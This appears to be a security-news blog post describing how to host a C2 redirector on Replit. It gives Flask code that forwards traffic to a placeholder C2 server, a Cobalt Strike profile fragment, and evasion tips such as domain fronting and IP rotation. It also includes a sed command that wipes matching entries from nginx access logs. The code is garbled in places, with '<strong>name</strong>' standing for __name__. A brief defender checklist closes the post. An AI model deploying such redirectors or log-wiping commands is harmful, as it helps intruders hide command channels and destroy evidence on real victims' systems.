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The article explores how to leverage Replit AI to tunnel Command and Control (C2) traffic through Replit’s infrastructure by deploying AI-generated redirectors. This method provides a novel approach for red teamers and offensive security professionals to obfuscate their C2 communications.
Read the full article here:
You Should Know:
1. Setting Up a Replit AI Redirector
Replit’s AI can generate Python-based redirectors that forward traffic to your C2 server. Below is an example of a simple HTTP redirector:
from flask import Flask, redirect, request
app = Flask(<strong>name</strong>)
@app.route('/<path:subpath>')
def redir(subpath):
return redirect(f"http://YOUR_C2_SERVER/{subpath}", code=302)
if <strong>name</strong> == '<strong>main</strong>':
app.run(host='0.0.0.0', port=8080)
2. Deploying on Replit
- Create a new Replit Python project.
- Paste the code and run it.
- Use Replit’s built-in domain (e.g.,
your-project.your-username.repl.co).- Modifying C2 Frameworks to Use the Redirector
For Cobalt Strike, update the Malleable C2 Profile:
http-get {
set uri "/api/query";
client {
header "Host" "your-project.your-username.repl.co";
}
server {
header "Content-Type" "text/plain";
output {
print;
}
}
}
4. Obfuscating Traffic Further
- Use Cloudflare Workers as an additional proxy.
- Implement Domain Fronting (if supported).
- Rotate User-Agents and IPs to avoid detection.
5. Monitoring & Evasion
Check for suspicious traffic using:
tcpdump -i eth0 'host your-project.your-username.repl.co' -w replit_traffic.pcap
For log cleaning (Linux):
sudo sed -i '/your-project.your-username.repl.co/d' /var/log/nginx/access.log
What Undercode Say:
This technique demonstrates how AI-powered platforms like Replit can be repurposed for offensive security operations. However, misuse may violate Replit’s Terms of Service and attract legal consequences. Always operate under authorized engagements.
For defenders:
- Monitor unusual subdomain patterns (
.repl.co). - Block known C2 IPs at the firewall level.
- Use YARA rules to detect AI-generated redirectors.
Expected Output:
A functional C2 redirector deployed on Replit, masking real C2 infrastructure while maintaining operational security.
🔗 Relevant URLs:
References:
Reported By: Mohammadaskar Watch – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
